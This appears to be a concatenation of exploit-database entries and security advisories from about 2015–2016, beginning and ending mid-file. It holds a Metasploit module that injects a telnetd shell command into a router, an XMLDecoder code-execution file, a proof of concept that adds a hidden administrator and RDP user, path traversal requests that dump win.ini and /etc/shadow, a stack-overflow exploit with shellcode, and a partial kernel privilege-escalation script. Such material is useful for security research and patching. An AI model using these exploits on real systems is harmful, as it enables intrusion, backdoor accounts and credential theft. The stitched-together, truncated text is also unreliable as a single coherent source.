'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', ''])
], self.class)
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25)
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD'] || ''
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{peer} - Trying to login with #{user} : #{pass}")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
print_good("#{peer} - Successful login #{user} : #{pass}")
end
def exploit_telnet
telnet_port = rand(32767) + 32768
print_status("#{peer} - Telnet Port: #{telnet_port}")
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
telnet_request(cmd)
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
end
add_socket(sock)
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
end
handler(sock)
end
def telnet_request(cmd)
uri = '/setSystemCommand'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'ReplySuccessPage' => 'docmd.htm',
'ReplyErrorPage' => 'docmd.htm',
'SystemCommand' => cmd,
'ConfigSystemCommand' => 'Save'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, telnet_timeout)
return nil if not data or data.length == 0
if data =~ /BusyBox/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end
Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder
Vendor: Wieland Electric GmbH
Product web page: http://www.wieland-electric.com
Affected version: 4.1 (Build 9)
Summary: Your new software for the configuration
of Wieland terminal rails. wieplan enables you to
plan a complete terminal rail in a very simple way
and to then place an order with Wieland. The configured
terminal rail can be stored in DXF format and read
into a CAD tool for further processing. Due to the
intuitive user interface, the configuration of terminal
rails with wieplan is easy.
Desc: wieplan suffers from an arbitrary java code
execution when parsing WIE documents that uses XMLDecoder,
allowing system access to the affected machine. The
software is used to generate custom specification
order saved in .wie XML file that has to be sent
to the vendor offices to be processed.
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Microsoft Windows 7 Ultimate SP1 (EN)
Java/1.8.0_73
Java/1.6.0_62
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5304
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5304.php
25.11.2016
---
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.6.0_02" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>c:\\windows\\system32\\calc.exe</string>
</void>
</object>
</java>
Vantage Point Security Advisory 2016-001
================================
Title: File Replication Pro Remote Command Execution
Vendor: File Replication Pro
Vendor URL: http://www.filereplicationpro.com/
Versions affected: =< 7.2.0
Severity: High
Vendor notified: Yes
Reported: 29 October 2015
Public release: 10 February 2016
Author: Jerold Hoong and the VP team <jerold[at]vantagepoint[dot]sg>
Permalink:
Summary:
--------
File Replication Pro (FRP) is a file management solution that is used
to back up and copy files from various nodes in the network. Vantage
Point has discovered multiple vulnerabilities in FRP v7.2.0 (and
possibly prior versions) that allow a remote unauthenticated malicious
run arbitrary code with SYSTEM privileges.
The vulnerabilities that were discovered are:
- Unauthenticated Remote Command Execution
- Unauthenticated Remote Arbitrary File Disclosure
- Unauthenticated Directory Traversal and File Listing
1. Unauthenticated Remote Command Execution
-------------------------------------------
The backup agents implements a RPC service port 9200 that supports
various calls, including a function called "ExecCommand" that
unsurprisingly executes shell commands on the system. A password hash
is used to authenticate calls on this interface (note that the hash
itself and not the password is used for authentication). This hash can
be obtained from the remote file disclosure vulnerability present in
the software (listed below) and used to authenticate to the RPC
service, where subsequently, arbitrary commands are executed as the
SYSTEM user.
POC Exploit Code of Malicious RPC Client:
/**
* @author Jerold Hoong (Vantage Point Security)
* File Replication Pro =< v7.2.0
* Remote Command Execution PoC Working Exploit
* www.vantagepoint.sg
* NOTE: Include FRP libraries to compile
*/
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import net.diasoft.frp.engine.exception.RPCException;
import net.diasoft.frp.engine.model.AddressPort;
import net.diasoft.frp.engine.tcp.client.RPCDriver;
import net.diasoft.frp.engine.tcp.client.TCPConnection;
public class Main {
static String ip = "1.2.3.4";
static int port = 9200;
// password string can be retrieved from remote file disclosure
vulnerability (configuration.xml)
// If no password is set, input blank string for password
// Use IE to navigate to <Target IP>:9200. OK = NO-AUTH, Error = AUTH
static String password = ""; // password 12345 jLIjfQZ5yojbZGTqxg2pY0VROWQ=
public static void main(String[] args) {
AddressPort ap = new AddressPort(ip, port);
AddressPort addresses[] = {ap};
TCPConnection _tcp_connection = null;
try {
_tcp_connection = new TCPConnection(addresses, password, true);
} catch (Exception e) {
e.printStackTrace();
}
System.out.print("Connecting to host...");
RPCDriver rpc = new RPCDriver(_tcp_connection);
HashMap p = new HashMap();
try {
Map r = rpc.callFunction("ExecCommand", p);
System.out.print("Success!\n");
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
// add new user
System.out.print("Attempting to add user 'vantagepoint' with
password 'LOLrofl1337!': ");
p.put("COMMAND", "net user vantagepoint LOLrofl1337! /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
// add new user to Admin group
System.out.print("Attempting to add user 'vantagepoint' to
'Administrators' group: ");
p.put("COMMAND", "net localgroup \"Administrators\" vantagepoint /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
//add new user to RDP group
System.out.print("Attempting to add user 'vantagepoint' to
'Remote Desktop Users' group:");
p.put("COMMAND", "net localgroup \"Remote Desktop Users\"
vantagepoint /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
System.out.print("\n\n---- END ----\n\n");
}
}
2. Unauthenticated Remote Arbitrary File Disclosure
---------------------------------------------------
A flaw in File Replication Pro allows a malicious user to gain access
to the contents of any file on the remote server. This leads to the
compromise of sensitive information such as user accounts and password
hashes, which can then be used to further exploit the server using
other vulnerabilities in the software. An example of how to view File
Replication Pro's web interface user accounts and credentials is shown
below by accessing the following URLs:
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\properties.xml
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\configuration.xml
3. Unauthenticated Directory Traversal and File Listing
-------------------------------------------------------
It was possible to anonymously view the file directory structure of
the remote File Replication Pro management server as well as the file
directory structure of all server nodes that are managed by the
management server. The parameters that are used to construct the POST
request in the example code below can be obtained via the remote file
disclosure vulnerability by accessing File Replication Pro's
configuration.xml, properties.xml and .frp_id files.
POST /GetRemoteDirList.jsp?server_name=WIN7SP1&server_key=WIN7SP1~29d919a3:150c736b708:-8000&server_role=Source&server_password=&parent_dir=../../../c:/
HTTP/1.1
Host: 127.0.0.1:9100
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9100/AddEditJob.do?action=new
Cookie: show_greeting=value; JSESSIONID=81cgjqf795cai
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0
Fix Information:
----------------
Upgrade to the latest version of File Replication Pro 7.3.0
Timeline:
---------
28 October 2015 - Vulnerabilities discovered
06 November 2015 - Vendor acknowledged and scheduled fixes to commence
02 February 2016 - Patch released by vendor
10 February 2016 - Release of this advisory to the public
About Vantage Point Security:
-----------------------------
Vantage Point is the leading provider for penetration testing and
security advisory services in Singapore. Clients in the Financial,
Banking and Telecommunications industries select Vantage Point
Security based on technical competency and a proven track record to
deliver significant and measurable improvements in their security
posture.
https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg
Trustwave SpiderLabs Security Advisory TWSL2015-016:
Path Traversal in Oracle GlassFish Server Open Source Edition
Published: 08/27/2015
Version: 1.0
Vendor: Oracle Corporation (Project sponsored by Oracle)
Product: GlassFish Server Open Source Edition
Version affected: 4.1 and prior versions
Product description:
Built using the GlassFish Server Open Source Edition, Oracle GlassFish
Server delivers a flexible, lightweight and extensible Java EE 6 platform.
It provides a small footprint, fully featured Java EE application server
that is completely supported for commercial deployment and is available as
a standalone offering.
The Administration Console of Oracle GlassFish Server, which is listening
by default on port 4848/TCP, is prone to a directory traversal
vulnerability. This vulnerability can be exploited by remote attackers to
access sensitive data on the server being authenticated.
Finding 1: Directory traversal
Credit: Piotr Karolak of Trustwave's SpiderLabs
#Proof of Concept on Microsoft Windows installation
The authenticated Directory Traversal vulnerability can be exploited by
issuing a specially crafted HTTP GET request utilizing a simple bypass,
%C0%2F instead of (/),URL encoding.
Example:
REQUEST
========
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/META-INF/dojo%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/com/sun%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
Cookie: JSESSIONID=5c47a3575077b014449e17877a0c
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://a.b.c.d:4848/
Host: a.b.c.d:4848
RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1 Java/Oracle Corporation/1.8)
Last-Modified: Mon, 12 Jan 2015 10:00:00 GMT
Transfer-Encoding: chunked
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
The response contains the contents of the "win.ini" file, proving that the server allows remote users to download the contents of system files.
#Proof of Concept on Linux installation
Example:
REQUEST
=======
GET /theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow/
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow HTTP/1.1
Host: a.b.c.d:4848
Accept: */*
Accept-Language: en
Connection: close
RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1 Java/Oracle Corporation/1.7)
Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT
Date: Tue, 10 Jan 2015 10:00:00 GMT
Connection: close
Content-Length: 1087
root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
TRUNCATED
lightdm:*:16273:0:99999:7:::
colord:*:16273:0:99999:7:::
hplip:*:16273:0:99999:7:::
pulse:*:16273:0:99999:7:::
test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
smmta:*:16436:0:99999:7:::
smmsp:*:16436:0:99999:7:::
mysql:!:16436:0:99999:7:::
Vendor Response:
"We plan to fix this issue in the next major GlassFish Server Open Source
Edition release."
Remediation Steps:
No fix is available at this time for the GlassFish Server Open Source
Edition release. However, this vulnerability can be mitigated with the use
of technologies, such as Web Application Firewalls (WAF) or Intrusion
Prevention Systems (IPS). Please note that Oracle GlassFish Server 3.x
which is the current commercial release of GlassFish is not affected.
Revision History:
01/12/2015 - Vulnerability disclosed to vendor
02/18/2015 - Notified vendor about the updates to TW security policy
05/19/2015 - Ninety-day deadline exceeded
07/14/2015 - Requested status from vendor
07/31/2015 - Requested status from vendor
08/21/2015 - Notified vendor about public disclosure
08/27/2015 - Advisory published
References
1. https://www.owasp.org/index.php/Path_Traversal
2. https://glassfish.java.net/
3. http://www.oracle.com/us/products/middleware/cloud-app-foundation/glassfish-server/overview/index.html
About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce
security risks. With cloud and managed security services, integrated
technologies and a team of security experts, ethical hackers and
researchers, Trustwave enables businesses to transform the way they manage
their information security and compliance programs while safely embracing
business imperatives including big data, BYOD and social media. More than
2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud
platform, through which Trustwave delivers automated, efficient and
cost-effective data protection, risk management and threat intelligence.
Trustwave is a privately held company, headquartered in Chicago, with
customers in 96 countries. For more information about Trustwave, visit
www.trustwave.com.
About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs
Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
# Exploit Title: Windows Kerberos Security Feature Bypass
# Date: 12-02-2016
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 Professional (x32/x64)
# CVE : CVE-2016-0049
# Category: Local Exploit
1) Prerequisites:
- Standard Windows 7 Fully patched and member of an existing domain.
- BitLocker enabled without PIN or USB key.
- Password Caching enabled
- Victim has cached credentials stored on the system from previous logon.
2) Reproduce:
STEP 1: Obtain physical access to a desktop or laptop with the above configuration.
STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login.
STEP 5: Create Computer Object in Active Directory with the same name as the target system. (E.g CLIENT)
STEP 6: Use ADSI Edit and change the attribute ServicePrincipleName of the Computer Object you created in STEP 5, Add the FQDN as following (HOST/CLIENT.domain.local).
STEP 7: Establish network connection between the target system and the newly created Domain Controller.
STEP 8: Login with the password defined in STEP 4.
STEP 9: Target system displays change password screen, set new password and confirm.
STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed."
STEP 11: Disconnect Target system's network connection.
STEP 12: Login with the new changed password.
3) Impact:
Access gained to the information stored to the FDE target system without previous knowledge of password or any other information.
4) Solution:
Install the latest patches from 09-02-2016 using Windows Update.
5) References:
https://technet.microsoft.com/en-us/library/security/ms16-014.aspx
https://support.microsoft.com/en-us/kb/3134228
6) Credits:
Vulnerability discovered by Nabeel Ahmed (https://twitter.com/NabeelAhmedBE) and Tom Gilis (https://twitter.com/tgilis) of Dimension Data (https://www.dimensiondata.com)
#!/usr/bin/env python
#
#
# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit
#
#
# Vendor: Delta Electronics, Inc.
# Product web page: http://www.delta.com.tw
# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3
# Affected version: 1.12.09 (Build 12102014)
#
# Summary: DCISoft is a integrated configuration tool of Delta
# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,
# DVPSCM52-SL) for WINDOWS operation system.
#
# Desc: The vulnerability is caused due to a boundary error in
# the processing of a project file, which can be exploited to
# cause a stack based buffer overflow when a user opens e.g. a
# specially crafted .DCI file. Successful exploitation allows
# execution of arbitrary code on the affected machine.
#
# ----------------------------------------------------------------------------
# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)
# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20
# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
# MFC42!Ordinal2740+0x88:
# 73d34b64 8b01 mov eax,dword ptr [ecx] ds:002b:44444444=????????
# 0:000> d esp
# 0018cdd8 1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00 ......G.........
# 0018cde8 5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88 \........YA.....
# 0018cdf8 5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00 \........8A.....
# 0018ce08 c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02 ..t...|.......t.
# 0018ce18 04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44 ....DDDDDDDDDDDD
# 0018ce28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# 0018ce38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# 0018ce48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# --
# (11bc.1394): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL -
# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c
# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0 nv up ei pl nz ac pe cy
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210217
# 43434343 ?? ???
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5305
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php
#
#
# 13.11.2015
#
sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"
"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")
buffer = "\x41" * 156 # align
buffer += "\x3c\xce\x18\x00" # eip - jmp esp+49h
buffer += "\x90" * 15 # nopsled
buffer += sc # 113 bytes messagebox shellcode
buffer += "\x44" * 7926 # extra shellcode space
buffer += "\xec\xcd\x18\x00" # overwrite data segment to control eip - mov eax,dword ptr [ecx]
buffer += "\x45" * 2203 # padding to fix 10421 bytes
f = open ("Detachment.dci", "w")
f.write(buffer)
f.close()
print "File Detachment.dci successfully created!\n"
# Exploit Title: Alternate Pic View 2.150 PGM CRASH POC
# Date: 14-02-2016
# Exploit Author: Shantanu Khandelwal
# Vendor Homepage: http://www.alternate-tools.com
<https://potplayer.daum.net/>
# Software Link: http://www.alternate-tools.com/pages/c_picview.php?lang=ENG
# Version: 2.150
# Tested on: Windows XP Sp3,Windows 7
# CVE : unknown at the moment
#============================================================================================
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01e57f20 ebx=003b0178 ecx=0065014c edx=e16a9530 esi=01e57f18
edi=003b0000
eip=7c9108b2 esp=0012f448 ebp=0012f504 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
#===========================================================================================
Alternate Pic Viewer crashes on a faulty PGM image file .
Faulty PGM file is attached as POC
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
# afd.sys - 6.1.7600.16385
# ntdll.dll - 6.1.7600.16385
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
# http://ricklarabee.blogspot.com/
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
# http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook
from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi
MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)
FakeObjSize = 0xA0
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1
WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int
class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]
def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None
def CreateBuffer1():
inbuf1size = 0x30
virtualAddress = 0x18888888
length = 0x20000
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
inbuf1 += struct.pack("L", length) #0x20
inbuf1 += "\x00" * 0x8 + "\x01"
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
baseadd = c_int(0x1001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
def CreateBuffer2():
inbuf2size = 0x10
addrforbuf2 = 0x0AAAAAAA
inbuf2 = "\x01\x00\x00\x00"
inbuf2 += struct.pack("L", addrforbuf2)
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
baseadd = c_int(0x2001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
def CreateFakeObject():
print "[+] Print creating fakeobject"
fakeobject2addr = 0x2200
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
fakeobj2size = len(fakeobject2)
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x16\x00\x08\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00")
fakeobject = objhead
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
if sock == -1:
print "[-] no luck creating socket!"
sys.exit(1)
print "[+] got sock 0x%x" % sock
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)
connect(sock, byref(addr), sizeof(addr))
print "[+] sock connected."
print "\n[+] GO!"
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
